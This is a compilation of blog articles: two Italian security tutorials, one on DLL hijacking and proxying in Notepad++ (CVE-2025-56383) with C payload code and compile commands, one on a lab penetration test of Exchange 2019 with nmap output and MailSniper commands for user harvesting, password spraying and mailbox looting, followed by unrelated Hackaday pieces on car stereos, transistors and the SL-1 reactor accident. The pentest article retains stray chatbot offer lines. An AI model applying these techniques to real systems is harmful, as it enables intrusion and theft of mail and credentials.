Notepad++ sotto attacco! Come una DLL fasulla apre la porta ai criminal hacker

Nel mese di Settembre è uscita una nuova vulnerabilità che riguarda Notepad++. La vulnerabilità è stata identificata con la CVE-2025-56383 i dettagli possono essere consultati nel sito del NIST. La vulnerabilità CVE-2025-56383 è un caso di DLL Hijacking che interessa l’editor di testo Notepad++ v8.8.3 e potenzialmente versioni successive.

Sfruttando questa debolezza, un utente malintenzionato può ingannare l’applicazione per fargli caricare una DLL dannosa che ha lo stesso nome di una libreria legittima richiesta dal programma (un esempio comune riguarda i file DLL nella cartella dei plugin).

Se l’attacco riesce, il codice malevolo viene eseguito con gli stessi permessi dell’utente che sta utilizzando Notepad++, consentendo l’esecuzione di codice arbitrario sul sistema target.

Tuttavia, è fondamentale notare che questa CVE è stata etichettata come contestata (“Disputed”) da diverse fonti.

Ciò accade perché l’attacco è effettivamente possibile solo se l’utente ha installato Notepad++ in una directory che, per errore o cattiva configurazione, consente l’accesso in scrittura a utenti non privilegiati.

Nelle installazioni standard di Windows, un utente normale non dovrebbe avere i permessi per modificare i file nella cartella di installazione del programma, il che ridimensiona il problema da una vulnerabilità intrinseca del software a un rischio derivante da una configurazione del sistema operativo non sicura.

E’ stato rilasciato un poc che dimostra con alcuni screen come è possibile in notepad++ eseguire DLL Hijacking della libreria NppExport.dll visibile nel link sottoastante.

La tecnica del DLL Hijacking (letteralmente “dirottamento di DLL”) è un metodo di attacco che sfrutta il modo in cui il sistema operativo Windows cerca e carica le librerie di collegamento dinamico (Dynamic Link Libraries o DLL) necessarie a un’applicazione per funzionare.

In sostanza, un aggressore induce un’applicazione legittima a caricare ed eseguire una DLL malevola al posto della DLL originale e attesa.

La DLL Hijacking è simile alla DLL Injection ma se ne distingue per il meccanismo: la DLL Injection è una tecnica generica che forza un processo in esecuzione a caricare una DLL arbitraria (spesso dannosa) direttamente in memoria, mentre il DLL Hijacking sfrutta un’errata gestione del percorso di ricerca di una DLL esistente o mancante per far caricare la versione malevola al suo posto.

Analizziamo cosa di intende per DLL Hijacking e testiamo direttamente su Notepad++

Tipi Comuni di DLL Hijacking

Ci sono diverse varianti di questa tecnica:

DLL Search Order Hijacking (Dirottamento dell’ordine di ricerca DLL): sfrutta l’ordine predefinito di ricerca di Windows. L’aggressore inserisce la DLL in una cartella con precedenza (ad esempio, la stessa cartella dell’eseguibile dell’applicazione).

DLL Side-Loading (Caricamento laterale di DLL): Una forma molto comune. L’aggressore copia un eseguibile legittimo e affidabile (ad esempio, un programma firmato digitalmente) e la sua DLL malevola (con il nome della DLL attesa) in una cartella esterna, spesso accessibile all’utente. Il codice malevolo viene eseguito sotto il contesto di un processo affidabile, eludendo i controlli di sicurezza basati sull’integrità o sulla lista bianca degli eseguibili.

DLL Substitution (Sostituzione di DLL): Un approccio più aggressivo e diretto dove l’aggressore bypassa l’ordine di ricerca per sovrascrivere la DLL originale e legittima con un file malevolo nello stesso identico percorso.

Phantom DLL Hijacking (Dirottamento della DLL fantasma): sfrutta un’applicazione che tenta di caricare una DLL che non esiste affatto sul sistema (magari per un errore di programmazione o una dipendenza non necessaria). L’aggressore piazza la DLL malevola con il nome del file mancante, forzando il caricamento.

Come un applicazione carica un DLL?

Quando un’applicazione deve caricare una DLL e non ne specifica il percorso completo e assoluto, Windows inizia una ricerca in una serie di directory predefinite e in un ordine specifico.

L’ordine di ricerca per le DLL (che può variare leggermente a seconda delle API di caricamento e delle configurazioni di sistema) solitamente include:

• La directory da cui viene caricata l’applicazione (la sua cartella).
• La directory di sistema (%SystemRoot%\System32).
• La directory di Windows (%SystemRoot%).
• La directory corrente di lavoro.
• Le directory elencate nella variabile d’ambiente PATH.

Per cui un aggressore sfrutta questa sequenza per piazzare una DLL malevola (con lo stesso nome della DLL legittima mancante, attesa oppure sostituendola) in una delle directory che Windows controlla prima della posizione della DLL vera.

Quando l’applicazione viene avviata, Windows trova e carica la DLL malevola prima di raggiungere la posizione della DLL legittima (oppure caricando la ddl diversa se è stata sostituita).

Il codice malevolo all’interno di questa DLL viene quindi eseguito, spesso con gli stessi privilegi dell’applicazione che l’ha caricata.

Obiettivi dell’Attacco

Questa tecnica è popolare tra gli aggressori perché consente di:

Esecuzione Stealthy (Furtiva): Il codice malevolo viene eseguito all’interno del processo di un’applicazione legittima (spesso anche firmata), rendendolo difficile da rilevare dai tradizionali sistemi antivirus o di monitoraggio.

Persistenza: Una volta piazzata, la DLL malevola può garantire che il codice dell’aggressore venga ri-eseguito ogni volta che l’applicazione legittima viene avviata.

Escalation dei Privilegi: Se l’applicazione legittima viene eseguita con privilegi elevati (ad esempio, come SYSTEM), anche il codice malevolo erediterà quegli stessi privilegi.

Esempio di DLL Hijacking substitution

Questo esempio è molto semplice e utilizzaremo Notepad++ per analizzare questo metodo di attacco.

Andremo a sostituire la libreria originale con una contenente solo un payload che farà avviare la calcolatrice.

In questo caso usiamo lo script sottostante per generare una nuova DLL dove nel MAIN è presente un payload che verrà avviato.
#include <processthreadsapi.h>
#include <memoryapi.h>

void Payload()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

char cmd[] = "calc.exe";

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Quindi compiliamo la libreria usando mingw32-gcc.

x86_64-w64-mingw32-gcc -shared -o NppExport.dll version.c

Dopo aver sostituito NppExport.dll e avviato l’applicazione la calcolatrice viene aperta.

Sfortunatamente l’applicazione rileva che qualcosa legato alla libreria e restituisce un errore.

Il motivo è molto semplice, questa non contiene gli export originali, per cui c’è un controllo che avvisa di questo, ostacolo che vedremo come superare nel passo successivo.

Nonostante questo errore Notepad++ prosegue la sua normale esecuzione.

E’ da considerare che in altri casi questa sostituzione potrebbe dare un errore critico e fermare l’esecuzione dell’applicazione, in quanto contenente funzioni essenziali per applicazione stessa.

Esempio tramite tramite proxy DLL

Nell’esempio precedente è stato visto come compilare una nuova libreria e sostituire a una originale al fine che app esegua del contenuto malevolo. Questa sostituzione però causare il crash dell’applicazione o errori vari.

Per cui vediamo una tecnica di DLL hijacking tramite proxy. Il DLL Hijacking by Proxying (dirottamento di DLL tramite proxy) è una tecnica avanzata di cyberattacco che permette all’aggressore di eseguire codice malevolo all’interno di un’applicazione legittima senza causare il crash o l’interruzione del programma.

Il concetto è molto semplice.

1. L’aggressore rinomina la DLL originale (es. libreria.dll in libreria_orig.dll). Successivamente, piazza la sua DLL malevola nella posizione prioritaria, chiamandola con il nome originale (libreria.dll).
2. L’applicazione app.exe una volta avviata chiede al sistema operativo di caricare legit.dll.
3. Il S.O. segue l’ordine di ricerca e trova per prima la DLL Malevola (libreria.dll). Quindi carica la DLL malevola nella memoria del processo app.exe.
4. Il codice d’attacco (il payload dannoso) viene eseguito immediatamente (ad esempio, all’interno della funzione DllMain).
5. La DLL malevola carica la DLL legittima rinominata (libreria_legit.dll) e la usa come proxy. Tutte le richieste di funzione successive provenienti da app.exe vengono inoltrate alla DLL originale (libreria_legit.dll).
6. L’applicazione riceve le risposte corrette dalla DLL originale tramite il proxy e continua a funzionare normalmente. L’utente non si accorge del dirottamento.

Qui uno schema semplificato del procedimento:

Analizziamo nella pratica cosa consiste questo attacco, prendiamo per comodità una repo esistente che contiene tutto quello che ci serve a questo scopo.

github.com/tothi/dll-hijack-by…

Cloniamo il progetto.

All’interno è presente una libreria base (che abbiamo usato nell’esempio precedente) per esecuzione di un payload una volta che questa viene caricata nell’app.

Preleviamo la DDL da eseguire Hijacking, in questo caso NPPExport.dll che è stata rinominata.

Generaimo attraverso li scoript deng_def.py il file version.def file contenente i reindirizzamenti di esportazione tramite lo script Python

Il file .def contiene una sezione chiamata EXPORTS che elenca tutte le funzioni che la DLL deve esporre, in modo da poterle reindirizzare alla DLL legittima originale.

Già da qui è possibile vedere che vari nomi di funzioni vengono reindirizzati a NppExport_orig.dll.

Per finire compiliamo la libreria attraverso mingw-w64:

Le opzioni di compilazione sono simili al primo esempio, ma in questo andiamo ad aggiungere le definizioni degli export aggiuntivi che questa libreria ha bisogno (version.def)

• -shared: dice al compilatore di creare una libreria a collegamento dinamico (una DLL su Windows) invece di un eseguibile standard (.exe).
• -o NppExport.dll: Specifica il nome del file di output.
• version.def: specifica un file di definizione del modulo (Module Definition File) spiegato in precedenza.
• ./dll-hijack-by-proxying/version.c: Questo è il file sorgente C che farà aprire la calcolatrice una volta caricata la libreria.

Ora posizioniamo la nuova libreria di fianco a quella originale modificata

NppExport.dll esegiurà il proxy di tutte le chiamate alle funzioni esportate nel file legittimo NppExport_orig.dll evitando che applicazioni segnali malfunzionamenti.

Se eseguiamo il software non verrà dato nessun errore e il codice malevolo eseguito correttamente.

L'articolo Notepad++ sotto attacco! Come una DLL fasulla apre la porta ai criminal hacker proviene da Red Hot Cyber.

Penetration Testing di Microsoft Exchange Server: Tecniche, Strumenti e Contromisure

Spesso, durante i penetration test, ci ritroviamo ad avere accessi elevati (Domain Admin) all’interno di un’organizzazione. Alcune aziende si fermano a questo, pensando che ottenere il Domain Admin sia l’obiettivo finale.

Ma non lo è. «Ottenere il Domain Admin» non significa molto per la maggior parte dei dirigenti , se non mostrare concretamente cosa comporta in termini di rischio. Uno dei modi migliori per dimostrare il rischio per un’organizzazione è mostrare la possibilità di accedere a dati sensibili.

Descriviamo qui il penetration testing di Exchange 2019 in un laboratorio GOADv3 configurato su Ludus/Debian.

Il server Exchange target

Strumenti Utilizzati

Il toolkit principale usato è MailSniper, una suite PowerShell progettata per l’enumerazione interna e l’abuso delle mailbox Exchange tramite Exchange Web Services (EWS), Outlook Web Access (OWA) e altri endpoint standard.

Ho usato anche NetExec da una macchina Kali ma MailSniper dava problemi su powershell-linux ed ho dovuto basarmi su una Win11Pro:
MailSniper non ne voleva sapere di funzionare su Kali Qui la scansione NXC dell’intero ambiente

Fase 1: Ricognizione e Identificazione di Exchange Server

Prima di ogni attività di penetrazione è fondamentale localizzare con precisione il server Exchange.

• Si parte dalla raccolta OSINT, tramite record MX DNS, URL pubblici di OWA, Autodiscover, certificati TLS e metadata visibili da post di lavoro o documenti pubblici.
• Successivamente si eseguono scansioni mirate con Nmap verso servizi standard:

nmap -p25,80,443,445,587,993,995 -sV -oA exchange_scan 10.3.10.21
Questa scansione permette di individuare le porte di SMTP, HTTPS per OWA, SMB e servizi di posta sicura.

# Nmap 7.95 scan initiated Wed Oct 15 12:52:25 2025 as: /usr/lib/nmap/nmap --privileged -A -T 4 -Pn -oA /mnt/hgfs/VMsharedDownloads/Exchange2019InitialScan 10.3.10.21
Nmap scan report for 10.3.10.21
Host is up (0.0027s latency).
Not shown: 975 closed tcp ports (reset)
PORT STATE SERVICE VERSION
25/tcp open smtp Microsoft Exchange smtpd
|_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, SMTPUTF8, XRDST
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
81/tcp open http Microsoft IIS httpd 10.0
|_http-title: 403 - Forbidden: Access is denied.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/https
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| http-title: Outlook
|_Requested resource was 10.3.10.21/owa/auth/logon.aspx…
444/tcp open snpp?
445/tcp open microsoft-ds?
465/tcp open smtp Microsoft Exchange smtpd
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH GSSAPI NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, SMTPUTF8, XRDST, XSHADOWREQUEST
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| smtp-ntlm-info:
| Target_Name: SEVENKINGDOMS
| NetBIOS_Domain_Name: SEVENKINGDOMS
| NetBIOS_Computer_Name: THE-EYRIE
| DNS_Domain_Name: sevenkingdoms.local
| DNS_Computer_Name: the-eyrie.sevenkingdoms.local
| DNS_Tree_Name: sevenkingdoms.local
|_ Product_Version: 10.0.17763
587/tcp open smtp Microsoft Exchange smtpd
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE 37748736, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, AUTH GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, SMTPUTF8
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
|_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
808/tcp open ccproxy-http?
1801/tcp open msmq?
2103/tcp open zephyr-clt?
2105/tcp open eklogin?
2107/tcp open msmq-mgmt?
2525/tcp open smtp Microsoft Exchange smtpd
| smtp-commands: the-eyrie.sevenkingdoms.local Hello [198.51.100.2], SIZE, PIPELINING, DSN, ENHANCEDSTATUSCODES, STARTTLS, X-ANONYMOUSTLS, AUTH NTLM, X-EXPS GSSAPI NTLM, 8BITMIME, BINARYMIME, CHUNKING, XEXCH50, SMTPUTF8, XRDST, XSHADOWREQUEST
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT
| ssl-cert: Subject: commonName=the-eyrie
| Subject Alternative Name: DNS:the-eyrie, DNS:the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-11T01:42:31
|_Not valid after: 2030-10-11T01:42:31
3389/tcp open ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: SEVENKINGDOMS
| NetBIOS_Domain_Name: SEVENKINGDOMS
| NetBIOS_Computer_Name: THE-EYRIE
| DNS_Domain_Name: sevenkingdoms.local
| DNS_Computer_Name: the-eyrie.sevenkingdoms.local
| DNS_Tree_Name: sevenkingdoms.local
| Product_Version: 10.0.17763
|_ System_Time: 2025-10-15T16:52:55+00:00
| ssl-cert: Subject: commonName=the-eyrie.sevenkingdoms.local
| Not valid before: 2025-10-07T10:19:37
|_Not valid after: 2026-04-08T10:19:37
3800/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
3801/tcp open mc-nmf .NET Message Framing
3828/tcp open mc-nmf .NET Message Framing
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
5986/tcp open wsmans?
| ssl-cert: Subject: commonName=WIN2019-SRV-X64
| Subject Alternative Name: DNS:WIN2019-SRV-X64, DNS:WIN2019-SRV-X64
| Not valid before: 2025-09-19T18:32:07
|_Not valid after: 2035-09-17T18:32:07
6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6789/tcp open ibm-db2-admin?
Device type: general purpose
Running: Microsoft Windows 2019
OS CPE: cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2019
Network Distance: 3 hops
Service Info: Host: the-eyrie.sevenkingdoms.local; OS: Windows; CPE: cpe:/o:microsoft:windows

Enumerazione Utenti ed Endpoints Mail

Invoke-DomainHarvestOWA -ExchHostname 10.3.10.21

Enumerazione Utenti ed Endpoints Mail

Dopo aver localizzato il server, si procede con la raccolta di utenti validi, indispensabile per attacchi come password spraying o bruteforce.

Con MailSniper si possono estrarre gli utenti dall’endpoint OWA e dalla Global Address List (GAL):

Invoke-UsernameHarvestOWA -UserList .\users.txt -ExchHostname 10.3.10.21 -Domain SEVENKINGDOMS -OutFile AccountsTrovati.txt

Invoke-DomainHarvestOWA -ExchHostname 10.3.10.21 -OutFile userlist.txt
Get-GlobalAddressList -ExchHostname 10.3.10.21 -UserName "domain\user" -Password "Password!" -OutFile gal.txt
Una lista utenti ben definita consente di simulare attacchi mirati, testando password realistiche basate su contesto (ad es. Game of Thrones simulati nel laboratorio), ovviamente ci si serve a monte divarie tecniche di OSINT .
MailSniper non fa altro estrarre li utenti dalla lista nota ad Exchange, questa che vediamo.

Fase 3: Password Spraying e Accesso Iniziale

Utilizzando password realistiche derivate da informazioni pubbliche e di contesto, si effettua il password spraying con MailSniper su ActiveSync EAS, OWA o SMTP:
Invoke-PasswordSpray -UserList userlist.txt -ExchHost 10.3.10.21 -Password "ilovejaime" -OutFile spray_results.txt

Quando si ottiene un accesso valido, ad esempio una combinazione utente/password, si può utilizzare PowerShell per accedere al mailbox tramite EWS ed iniziare la fase di post-exploitation.

Le credenziali sono corrette:

Post-Exploitation e Ricerca di Informazioni Sensibili

Con MailSniper, da un account compromesso, si può:

• Cercare all’interno della mailbox illeciti credenziali o informazioni sensibili:

Invoke-SelfSearch -Mailbox compromised@domain.local -Terms "password","vpn","confidential"

• Enumerare gli allegati e scaricarli per analisi esterna:

Invoke-SelfSearch -Mailbox compromised@domain.local -CheckAttachments -DownloadDir C:\loot\

• Se si dispone di un ruolo amministrativo con permessi di impersonation, espandere la ricerca globalmente sulle mailbox della rete:

Invoke-GlobalMailSearch -ImpersonationAccount "domain\admin" -ExchHostname 10.3.10.21 -Terms "password","confidential" -OutputCsv all_mail_search.csv

Lateral Movement e Escalation Privilegi

Accedere alle mailbox permette di ricercare credenziali di account privilegiati (ad es. Domain Admin), spesso presenti come allegati o messaggi.

Con queste credenziali si possono:

• Accedere a sistemi interni tramite RDP o PowerShell remoting.
• Sfruttare tecniche come Kerberoasting (richiesta ticket Kerberos a servizi Exchange) per ricavare hash da crackare.
• Usare deleghe Exchange e permessi mailbox per inviare mail “Send As” e muoversi nel dominio.

Comandi utili per controllare permessi mailbox:

Invoke-MailboxPermsAudit -ExchHostname 10.3.10.21 -UserName "domain\user" -Password "password" -OutFile mailbox_permissions.csv

Difese Consigliate contro Attacchi a Exchange

Per mitigare i rischi evidenziati:

• Limitare permessi mailbox e delegation: solo i ruoli strettamente necessari devono poter impersonare o inviare mail per conto di altri.
• Monitoraggio delle attività Exchange: logging approfondito per autenticazioni, uso di EWS e tentativi mail sospetti.
• Aggiornamenti puntuali: installare le patch contro vulnerabilità note come ProxyLogon, ProxyShell, e zero-day emergenti.
• Multi-Factor Authentication (MFA) su OWA, EAS e PowerShell remoting per ridurre l’efficacia di credential stuffing.
• Segmentazione della rete: isolare i server Exchange e limitare l’accesso dalla DMZ e zona interna in base ai principi di least privilege.
• Controlli e blocchi di password spraying: implementare politiche di lockout, analisi comportamentale e tool interni per identificare logon sospetti.

(Immagine: schema di rete con segmentazione e controllo accessi)

Conclusioni

Il penetration test di un Exchange Server 2019 richiede una metodologia articolata che va dalla ricognizione accurata, passando per attacchi mirati come password spraying, fino all’abuso post-compromissione di mailbox per avanzare nella rete.

Il laboratorio GOADv3 su Ludus/Debian fornisce un ambiente ideale per simulare queste tecniche in sicurezza, permettendo di affinare le capacità offensive e, soprattutto, di testare le difese IT.

L’uso di strumenti come MailSniper facilita la ricerca di credenziali, permessi e dati sensibili, dimostrando concretamente il rischio che una compromissione di Exchange comporta per un’organizzazione.

Implementare difese robuste e monitoraggio continuo è la chiave per ridurre la superficie di attacco e rallentare gli avversari informatici contemporanei.

Se interessa, posso anche fornire in seguito uno script PowerShell automatizzato per alcune delle procedure sopra descritte.

Se vuoi, posso creare il testo con formattazione markdown anche per post o documenti tecnici. Vuoi procedere?

Sources
[1] test-art.pdf ppl-ai-file-upload.s3.amazonaw…

L'articolo Penetration Testing di Microsoft Exchange Server: Tecniche, Strumenti e Contromisure proviene da Red Hot Cyber.

Hacking Buttons Back Into the Car Stereo

To our younger readers, a car without an all-touchscreen “infotainment” system may look clunky and dated, but really, you kids don’t know what they’re missing. Buttons, knobs, and switches all offer a level of satisfying tactility and feedback that touchscreens totally lack. [Garage Builds] on YouTube agrees; he also doesn’t like the way his aftermarket Kenwood head unit looks in his 2004-vintage Nissan. That’s why he decided to take matters into his own hands, and hack the buttons back on.

Rather than source a vintage stereo head unit, or try and DIY one from scratch, [Garage Builds] has actually hidden the modern touchscreen unit behind a button panel. That button panel is actually salvaged from the stock stereo, so the looks fit the car. The stereo’s LCD gets replaced with a modern color unit, but otherwise it looks pretty stock at the end.

Adding buttons to the Kenwood is all possible thanks to steering-wheel controls. In order to make use of those, the touchscreen head unit came with a little black box that translated the button press into some kind of one-wire protocol that turned out to be an inverted and carrier-less version of the NEC protocol used in IR TV remotes. (That bit of detective work comes from [michaelb], who figured all this out for his Ford years ago, but [Garage Builds] is also sharing his code on GitHub.)

Having the protocol, it simply becomes a matter of grabbing a microcontroller to scan the stock buttons and output the necessary codes to the Kenwood head unit. Of course now he has extra buttons, since the digital head unit has no tape or CD changer to control, nor AM/FM radio to tune. Those get repurposed for the interior and exterior RGB lighting [Garage Builds] has ̶i̶n̶f̶l̶i̶c̶t̶e̶d̶ mounted on this ̶p̶o̶o̶r̶ lovely car. (There’s no accounting for taste. Some of us love the look and some hate it, but he’s certainly captured an aesthetic, and now has easy control of it to boot.) [Garage Builds] has got custom digital gauges to put into the dash of his Nissan, and some of the extra buttons have been adapted to control those, too.

The whole car is actually a rolling hack as you can see from the back catalog of the [Garage Builds] YouTube channel, which might be worth a look if you’re in the intersection of the “electronics enthusiast” and “gearhead” Venn Diagram.

There’s no accounting for taste, but we absolutely agree with him that making everything black rectangles is the death of industrial design.

This isn’t the first time we’ve seen retro radios hacked together with micro-controllers; take a look at this one from a 1970s Toyota. Now that’s vintage!

hackaday.com/2025/11/05/hackin…

2025 Component Abuse Challenge: The Ever-Versatile Transistor as a Temperature Sensor

One of the joys of writing up the entries for the 2025 Component Abuse Challenge has come in finding all the different alternative uses for the humble transistor. This building block of all modern electronics does a lot more than simply performing as a switch, for as [Aleksei Tertychnyi] tells us, it can also function as a temperature sensor.

How does this work? Simple enough, the base-emitter junction of a transistor can function as a diode, and like other diodes, it shows a roughly 0.2 volt per degree voltage shift with temperature (for a silicon transistor anyway). Taking a transistor and forward biasing the junction with a 33 K resistor, he can read the resulting voltage directly with an analogue to digital converter and derive a temperature reading.

The transistor features rarely as anything but a power device in the projects we bring you in 2025. Maybe you can find inspiration to experiment for yourself, and if you do, you still have a few days in which to make your own competition entry.

hackaday.com/2025/11/05/2025-c…

The Deadliest US Nuclear Accident is Not What You Think

When you think of a US Nuclear accident, you probably think of Three Mile Island. However, there have been over 50 accidents of varying severity in the US, with few direct casualties. (No one died directly from the Three Mile Island incident, although there are some studies that show increased cancer rates in the area.)

Indeed, where there are fatalities, it hasn’t been really related to the reactor. Take the four people who died at the Surry Nuclear Power Plant accident: they were killed when a steam pipe burst and fatally scalded them. At Arkansas Nuclear One, a 525-ton generator was being moved, the crane failed to hold it, and one person died. That sort of thing could happen in any kind of industrial setting.

But one incident that you have probably never heard of took three lives as a direct result of the reactor. True, it was a misuse of the reactor, and it led to design changes to ensure it can’t happen again. And while the incident was nuclear-related, the radiation didn’t kill them, although it probably would have if they had survived their injuries.

Background

The large cylinder housed the SL-1 reactor. The picture is from some time before the accident (public domain).
It may be a misattribution, but it is often said that Napoleon said something like, “An army marches on its stomach.” A modern army might just as well march on electrical power. So the military has a keen interest in small nuclear reactors to both heat sites in cold climates and generate electricity when in remote locations or in, as they like to call it, denied areas.

In the mid-1950s, the Army tasked Argonne National Laboratory to prototype a small reactor. They wanted it portable, so it had to break down to relatively small pieces, if you consider something weighing 10 tons as small, and could be set up in the field.

The resulting prototype was the Stationary Low-Power Reactor Number One, known as SL-1, operated by the Army in late 1958. It could provide about 400 kW of heating or 200 kW of electricity. The reactor core was rated for 3 MW (thermal) but had been tested at 4.7 MW a few times. It would end operations due to an accident in 1961.

Design

Sketch of the reactor internals (public domain).
The reactor was a conventional boiling-water reactor design that used natural circulation of light water as both coolant and moderator. The fuel was in the form of plates of a uranium-aluminum alloy.

The reactor was inside a 48-foot-tall cylinder 38.5 feet in diameter. It was made of quarter-inch plate steel. Because the thing was in the middle of nowhere in Idaho, this was deemed sufficient. There was no containment shell like you’d find on reactors nearer to population centers.

The reactor, at the time of the accident, had five control rods, although it could accommodate nine. It could also hold 59 fuel assemblies, but only 40 were in use. Because of the reduced number of fuel plates, the reactor’s center region was more active than it would have been under full operation. The rods were eight in a circle with four dummies and a ninth one in the center. Because of the missing outer rods, the center control rod was more critical than the four others.

The Accident

In January of 1961, the reactor had been shut down for 11 days over the holiday. In preparation for restarting, workers had to reconnect the rods to their drive motors. The procedure was to pull the rod up four inches to allow the motor attachment.
Cutaway of the SL-1 and the control building (public domain).
There were three workers: Specialist Richard McKinley, Specialist John Byrnes, and a Navy Seabee Electrician First Class Richard Legg. Legg was in charge, and McKinley was a trainee.

From a post-accident investigation, they are fairly sure that Byrnes inexplicably pulled the center rod out 20 inches instead of the requisite four inches. The reactor went prompt critical, and, in roughly four milliseconds, the 3 MW core reached 20 GW. There wasn’t enough time for sufficient steam to form to trigger the safeties, which took 7.5 milliseconds.

The extreme heat melted the fuel, which explosively vaporized. The reactor couldn’t dissipate so much heat so quickly, and a pressure wave of about 10,000 pounds hit the top of the reactor vessel. The 13-ton vessel flew up at about 18 miles an hour, and plugs flew out, allowing radioactive boiling water and steam to spray the room. At about nine feet, it collided with the ceiling and a crane and fell back down. All this occurred in about two seconds.

As you might imagine, you didn’t want to be in the room, much less on top of the reactor. Two of the operators were thrown to the floor. Byrnes’ fall causes his rib to fatally pierce his heart. McKinley was also badly injured but only survived for about two hours after the accident. Legg was found dead and stuck to the ceiling, an ejected shield plug impaling him.

Why?

Actual photo of the destroyed reactor taken by a camera on the end of a crane.
You can place a lot of blame here. Of course, you probably shouldn’t have been able to pull the rod up that far, especially given that it was carrying more of the load than the other rods. The contractor that helped operate the facility wasn’t available around the clock due to “budget reasons.” There’s no way to know if that would have helped, of course.

But the real question is: why did they pull the rod up 20 inches instead of four? We may never know. There are, of course, theories. Improbably, people have tried to explain it as sabotage or murder-suicide due to some dispute between Byrnes and one of the other men. But that doesn’t seem to be the most likely explanation.

Apparently, the rods sometimes stuck due to misalignment, corrosion, or wear. During a ten-month period, for example, about 2.5% of the drop-and-scram tests failed because of this sticking: a total of 40 incidents. However, many of those causes only apply when the rods are automatically moved. Logbooks showed that manual movement of the rods had been done well over 500 times. There was no record of any sticking during manual operations. Several operators were asked, and none could recall any sticking. However, the rate of sticking was increasing right before the incident, just not from manual motion.

However, it is easy to imagine the 48-pound rod being stuck, pulling hard on it, and then having it give way. We’ve all done something like that, just not with such dire consequences.

Aftermath

First responders had a difficult time with this incident due to radiological problems. There had been false alarms before, so when six firefighters arrived on the scene, they weren’t too concerned. But when they entered the building, they saw radiation warning lights on and their radiation detectors pegged.

Even specialized responders with better equipment couldn’t determine just how much radiation was there, except for “plenty.” Air packs were fogging, limiting visibility. During the rescue of McKinley, one rescuer had to remove a defective air pack and breathe contaminated air for about three minutes. Freeing Legg’s body required ten men working in pairs, because each team could only work in the contaminated zone for 65 seconds. The rule had been that you could tolerate 100 Röntgens (about 1 Sv or 100 rem) to save a life and 25 (0.25 Sv or 25 rem) to save valuable property. Of the 32 people involved in the initial response, 22 received between 3 and 27 Röntgens exposure. Further, 790 people were exposed to harmful radiation levels during the subsequent cleanup.

The reactor building did prevent most of the radioactive material from escaping, but iodine-131 levels in some areas reached about 50 times normal levels. The remains of the site are buried nearby, and that’s the source of most residual radiation.

Lessons Learned

Unsurprisingly, the SL-1 design was abandoned. Future designs require that the reactor be safe even if one rod is entirely removed: the so-called “one stuck rod” rule. This also led to stricter operating procedures. What’s more, it is now necessary to ensure emergency responders have radiation meters with higher ranges. Regulations are often written in blood.

The Atomic Energy Commission made a film about the incident for internal use but, of course, now, you can watch it from your computer, below.

youtube.com/embed/gIBQMkd96CA?…

You might also enjoy this presentation by one of the first responders who was actually there, which you can see below. If you want a more detailed history, check out Chapters 15 and 16 of [Susan M. Stacy’s] book “Proving the Principle” that you can read online.

youtube.com/embed/gMNqPUT-yP0?…

Nuclear accidents can ruin your day. We are always surprised at how many ordinary mistakes happen at reactors like Brown’s Ferry.

hackaday.com/2025/11/05/the-de…